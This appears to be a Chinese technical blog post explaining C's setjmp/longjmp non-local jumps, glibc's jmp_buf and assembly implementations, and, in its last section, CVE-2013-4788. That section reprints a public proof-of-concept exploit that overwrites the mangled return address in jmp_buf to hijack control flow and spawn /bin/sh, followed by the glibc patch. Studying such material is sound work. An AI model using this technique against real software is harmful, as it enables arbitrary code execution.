目录
1. 应用场景 2. Use Case Code Analysis 3. 和setjmp、longjmp有关的glibc and eglibc 2.5, 2.7, 2.13 - Buffer Overflow Vulnerability
1. 应用场景
非局部跳转通常被用于实现将程序控制流转移到错误处理模块中；或者是通过这种非正常的函数返回机制，返回到之前调用的函数中
1. setjmp、longjmp的典型用途是异常处理机制的实现：利用longjmp恢复程序或线程的状态，甚至可以跳过栈中多层的函数调用 2. 在信号处理机制中，进程在检查收到的信号，会从原来的系统调用中直接返回，而不是等到该调用完成。这种进程突然改变其上下文的情况，就是通过使用setjmp和longjmp来实现的。setjmp将保存的上下文载入用户空间，并继续在旧的上下文中继续执行。这就是说，进程执行一个系统调用，当因为资源或其他原因要去睡眠时，内核为进程作了一次setjmp，如果在睡眠中被信号唤醒，进程不能再进入睡眠时，内核为进程调用longjmp，该操作是内核为进程将现在的上下文切换成原先通过setjmp调用保存在进程用户区的上下文，这样就使得进程可以恢复等待资源前的状态，而且内核为setjmp返回1，使得进程知道该次系统调用失败 3. Linux的Kprobe机制使用setjmp、longjmp设置中断处理函数及回调函数 4. C语言中有一个goto语句，其可以结合标号实现函数内部的任意跳转(但是在大多数情况下，都建议不要使用goto语句，因为采用goto语句后，代码维护工作量加大，而且使得代码的结构性变得很差)。另外，C语言标准中还提供一种非局部跳转"no-local goto"，其通过标准库<setjmp.h>中的两个标准函数setjmp和longjmp来实现
0x1: 非局部跳转(no-local goto)实现原理
C语言的运行控制模型，是一个基于"栈结构"的"指令执行序列"，表现出来就是call/return: call调用一个函数，然后return从一个函数返回。在这种运行控制模型中，每个函数调用都会对应着一个栈帧，其中保存了这个函数的参数、返回值地址、局部变量以及控制信息(从高地址向低地址生长)等内容。当调用一个函数时，系统会创建一个对应的栈帧压入栈中，而从一个函数返回时，则系统会将该函数对应的栈帧从栈顶退出。正常的函数跳转就是这样从栈顶一个一个栈帧逐级地返回
另外，系统内部有一些寄存器记录着当前系统的状态信息，其中包括当前栈顶位置、位于栈顶的栈帧位置以及其他一些系统信息(例如代码段，数据段等等)。这些寄存器指示了当前程序运行点的系统状态，可以称为程序点
在宏函数setjmp中就是将这些系统寄存器的内容保存到jmp_buf类型变量env中，然后在函数longjmp中将函数setjmp保存在变量env中的系统状态信息恢复，此时系统寄存器中指示的栈顶的栈帧就是调用宏函数setjmp时的栈顶的栈帧(这相当于直接强制修改栈帧的状态来改变程序流的目的)。于是，相当控制流跳过了中间的若干个函数调用对应的栈帧，到达setjmp所在那个函数的栈帧
这就是非局部跳转的实现机制，其不同于上面所说的call/return跳转机制
正是因为这种实现机制，需要特别注意的是："包含setjmp()宏调用的函数一定不能终止"。如果该函数终止的话，该函数对应的栈帧也已经从系统栈中退出，于是setjmp()宏调用保存在env中的内容在longjmp函数恢复时，就不再是setjmp()宏调用所在程序点。此时，调用函数longjmp()就会出现不可预测的错误
Relevant Link:
http://www.cnblogs.com/lienhua34/archive/2012/04/22/2464859.html https://msdn.microsoft.com/zh-cn/library/yz2ez4as.aspx
2. Use Case Code Analysis
1. 非局部跳转setjmp() 头文件<setjmp.h>中的说明提供了一种避免通常的函数调用和返回顺序的途径，特别的，它允许立即从一个多层嵌套的函数调用中返回 /* #include <setjmp.h> int setjmp(jmp_buf env); */ 1) setjmp()宏把当前状态信息保存到env中，供以后longjmp()恢复状态信息时使用 1.1) 如果是直接调用setjmp()，那么返回值为0 1.2) 如果是由于调用longjmp()而调用setjmp()，那么返回值非0 2) setjmp()只能在某些特定情况下调用，如在if语句、switch语句及循环语句的条件测试部分以及一些简单的关系表达式中 2. 非局部跳转longjmp() 1) longjmp()用于恢复由最近一次调用setjmp()时保存到env的状态信息。当它执行完时，程序就象setjmp()刚刚执行完并返回非0值val那样继续执行 2) 值得注意的是，包含setjmp()宏调用的函数一定不能已经终止。如果setjmp所在的函数已经调用返回了，那么longjmp使用该处setjmp所填写的对应jmp_buf缓冲区将不再有效。这是因为longjmp所要返回的"栈帧"(stack frame)已经不再存在了，程序返回到一个不再存在的执行点，很可能覆盖或者弄坏程序栈 3) 所有可访问的对象的值都与调用longjmp()时相同，唯一的例外是，那些调用setjmp()宏的函数中的非volatile自动变量如果在调用setjmp()后有了改变，那么就变成未定义的 /* #include <setjmp.h> void longjmp(jmp_buf env, int val); */
0x1: jmp_buf
jmp_buf是setjmp.h中定义的一个结构类型，其用于保存系统状态信息。宏函数setjmp会将其所在的程序点的系统状态信息保存到某个jmp_buf的结构变量env中，而调用函数longjmp会将宏函数setjmp保存在变量env中的系统状态信息进行恢复，于是系统就会跳转到setjmp()宏调用所在的程序点继续进行。这样setjmp/longjmp就实现了非局部跳转的功能
glibc-2.18setjmpsetjmp.h
/* Calling environment, plus possibly a saved signal mask. */ struct __jmp_buf_tag { /* NOTE: The machine-dependent definitions of `__sigsetjmp' assume that a `jmp_buf' begins with a `__jmp_buf' and that `__mask_was_saved' follows it. Do not move these members or add others before it. */ __jmp_buf __jmpbuf; /* Calling environment. */ int __mask_was_saved; /* Saved the signal mask */ __sigset_t __saved_mask; /* Saved signal mask. */ }; __BEGIN_NAMESPACE_STD typedef struct __jmp_buf_tag jmp_buf[1];
将jmp_buf定义为一个数组，那么可以将数据分配在栈上，但是作为参数传递的时候传的是一个指针
0x2: setjmp
创建本地的jmp_buf缓冲区并且初始化，用于将来跳转回此处。这个子程序(setjmp)保存程序的调用环境于env参数所指的缓冲区，env将被longjmp使用。如果是从setjmp直接调用返回
glibc-2.18portssysdepsaarch64setjmp.S
/* Keep traditional entry points in with sigsetjmp(). */ ENTRY (setjmp) mov x1, #1 b 1f END (setjmp) ENTRY (_setjmp) mov x1, #0 b 1f END (_setjmp) libc_hidden_def (_setjmp) ENTRY (__sigsetjmp) 1: stp x19, x20, [x0, #JB_X19<<3] stp x21, x22, [x0, #JB_X21<<3] stp x23, x24, [x0, #JB_X23<<3] stp x25, x26, [x0, #JB_X25<<3] stp x27, x28, [x0, #JB_X27<<3] stp x29, x30, [x0, #JB_X29<<3] stp d8, d9, [x0, #JB_D8<<3] stp d10, d11, [x0, #JB_D10<<3] stp d12, d13, [x0, #JB_D12<<3] stp d14, d15, [x0, #JB_D14<<3] mov x2, sp str x2, [x0, #JB_SP<<3] #if defined NOT_IN_libc && defined IS_IN_rtld /* In ld.so we never save the signal mask */ mov w0, #0 RET #else b C_SYMBOL_NAME(__sigjmp_save) #endif END (__sigsetjmp) hidden_def (__sigsetjmp)
code
/* setjmp example: error handling */ #include <stdio.h> /* printf, scanf */ #include <stdlib.h> /* exit */ #include <setjmp.h> /* jmp_buf, setjmp, longjmp */ main() { jmp_buf env; int val; /* setjmp会多次返回 setjmp return value 1. 正常调用(保存当前call的env): 返回0 2. 调用longjmp返回: 取决于longjmp的第二个参数 1) longjmp的第二个参数为非0: setjmp返回同样的值 2) longjmp的第二个参数为0: setjmp返回1 */ val = setjmp (env); if (val) { fprintf (stderr,"Error %d happened ",val); exit (val); } printf("Calling function. "); longjmp (env,101); /* signaling an error */ return 0; }
0x3: longjmp
恢复env所指的缓冲区中的程序调用环境上下文，env所指缓冲区的内容是由setjmp子程序调用所保存。value的值从longjmp传递给setjmp。longjmp完成后，程序从对应的setjmp调用处继续执行，如同setjmp调用刚刚完成
glibc-2.18sysdepsx86_64\__longjmp.S
/* Jump to the position specified by ENV, causing the setjmp call there to return VAL, or 1 if VAL is 0. void __longjmp (__jmp_buf env, int val). */ .text ENTRY(__longjmp) /* Restore registers. */ mov (JB_RSP*8)(%rdi),%R8_LP mov (JB_RBP*8)(%rdi),%R9_LP mov (JB_PC*8)(%rdi),%RDX_LP #ifdef PTR_DEMANGLE PTR_DEMANGLE (%R8_LP) PTR_DEMANGLE (%R9_LP) PTR_DEMANGLE (%RDX_LP) # ifdef __ILP32__ /* We ignored the high bits of the %rbp value because only the low bits are mangled. But we cannot presume that %rbp is being used as a pointer and truncate it, so recover the high bits. */ movl (JB_RBP*8 + 4)(%rdi), %eax shlq $32, %rax orq %rax, %r9 # endif #endif LIBC_PROBE (longjmp, 3, LP_SIZE@%RDI_LP, -4@%esi, LP_SIZE@%RDX_LP) /* We add unwind information for the target here. */ cfi_def_cfa(%rdi, 0) cfi_register(%rsp,%r8) cfi_register(%rbp,%r9) cfi_register(%rip,%rdx) cfi_offset(%rbx,JB_RBX*8) cfi_offset(%r12,JB_R12*8) cfi_offset(%r13,JB_R13*8) cfi_offset(%r14,JB_R14*8) cfi_offset(%r15,JB_R15*8) movq (JB_RBX*8)(%rdi),%rbx movq (JB_R12*8)(%rdi),%r12 movq (JB_R13*8)(%rdi),%r13 movq (JB_R14*8)(%rdi),%r14 movq (JB_R15*8)(%rdi),%r15 /* Set return value for setjmp. */ mov %esi, %eax mov %R8_LP,%RSP_LP movq %r9,%rbp LIBC_PROBE (longjmp_target, 3, LP_SIZE@%RDI_LP, -4@%eax, LP_SIZE@%RDX_LP) jmpq *%rdx END (__longjmp)
code
/* longjmp example */ #include <stdio.h> /* printf */ #include <setjmp.h> /* jmp_buf, setjmp, longjmp */ main() { jmp_buf env; int val; val=setjmp(env); printf ("val is %d ",val); if (!val) longjmp(env, 1); return 0; }
Relevant Link:
http://my.oschina.net/onethin/blog/27793 https://www-s.acm.illinois.edu/webmonkeys/book/c_guide/2.8.html http://www.cplusplus.com/reference/csetjmp/setjmp/ http://www.cplusplus.com/reference/csetjmp/longjmp/ http://zh.wikipedia.org/wiki/Setjmp.h http://nativeclient.googlecode.com/svn-history/r157/trunk/nacl/googleclient/native_client/scons-out/doc/html/setjmp_8h-source.html http://www.cnblogs.com/hazir/p/c_setjmp_longjmp.html
3. 和setjmp、longjmp有关的glibc and eglibc 2.5, 2.7, 2.13 - Buffer Overflow Vulnerability
0x1: poc
CVE(CAN) ID: CVE-2013-4788
glibc是绝大多数Linux操作系统中C库的实现。
glibc 2.4 -2.17版本存在缓冲区溢出漏洞，攻击者可利用此漏洞在受影响应用上下文中执行任意代码
/* * $FILE: bug-mangle.c * * Comment: Proof of concept for glibc versions <= 2.17 * * $VERSION$ * * Author: Hector Marco <hecmargi@upv.es> * Ismael Ripoll <iripoll@disca.upv.es> * * $LICENSE: * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include <stdio.h> #include <setjmp.h> #include <stdint.h> #include <limits.h> #ifdef __i386__ #define ROTATE 0x9 #define PC_ENV_OFFSET 0x14 #elif __x86_64__ #define ROTATE 0x11 #define PC_ENV_OFFSET 0x38 #elif __arm__ #define ROTATE 0x0 #define PC_ENV_OFFSET 0x24 #else #error The exploit does not support this architecture #endif unsigned long rol(uintptr_t value) { // return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE)); unsigned long ret; asm volatile("xor %%fs:0x30, %0; rol $0x11, %0" : "=g"(ret) : "0"(value)); return ret; } int hacked() { printf("[+] hacked !! "); system("/bin/sh"); } int main(void) { //jmp_buf用于保存恢复调用环境所需的信息 jmp_buf env; uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET); printf("[+] Exploiting ... "); if(setjmp(env) == 1) { printf("[-] Exploit failed. "); return 0; } /*Overwrite env return address */ *ptr_ret_env = rol((uintptr_t)hacked); longjmp(env, 1); printf("[-] Exploit failed. "); return 0; }
简单来说，就是通过覆盖jmp_buf中和返回地址有关的指针，来达到劫持CPU控制流的目的
0x2: pathc
diff -rupN glibc-2.17/csu/libc-start.c glibc-2.17-mangle-fix/csu/libc-start.c --- glibc-2.17/csu/libc-start.c 2012-12-25 04:02:13.000000000 +0100 +++ glibc-2.17-mangle-fix/csu/libc-start.c 2013-07-10 00:13:48.000000000 +0200 @@ -38,6 +38,12 @@ extern void __pthread_initialize_minimal in thread local area. */ uintptr_t __stack_chk_guard attribute_relro; # endif + +# ifndef THREAD_SET_POINTER_GUARD +uintptr_t __pointer_chk_guard_local + attribute_relro attribute_hidden __attribute__ ((nocommon)); +# endif + #endif #ifdef HAVE_PTR_NTHREADS @@ -184,6 +190,14 @@ LIBC_START_MAIN (int (*main) (int, char # else __stack_chk_guard = stack_chk_guard; # endif + uintptr_t pointer_chk_guard = _dl_setup_pointer_guard (_dl_random, + stack_chk_guard); +# ifdef THREAD_SET_POINTER_GUARD + THREAD_SET_POINTER_GUARD (pointer_chk_guard); +# else + __pointer_chk_guard_local = pointer_chk_guard; +# endif + #endif /* Register the destructor of the dynamic linker if there is any. */
Relevant Link:
http://www.mra.net.cn/thread-17257-1-1.html http://hmarco.org/bugs/patches/ptr_mangle-eglibc-2.17.patch http://downloads.securityfocus.com/vulnerabilities/exploits/61183.c http://sebug.net/vuldb/ssvid-82213
Copyright (c) 2014 LittleHann All rights reserved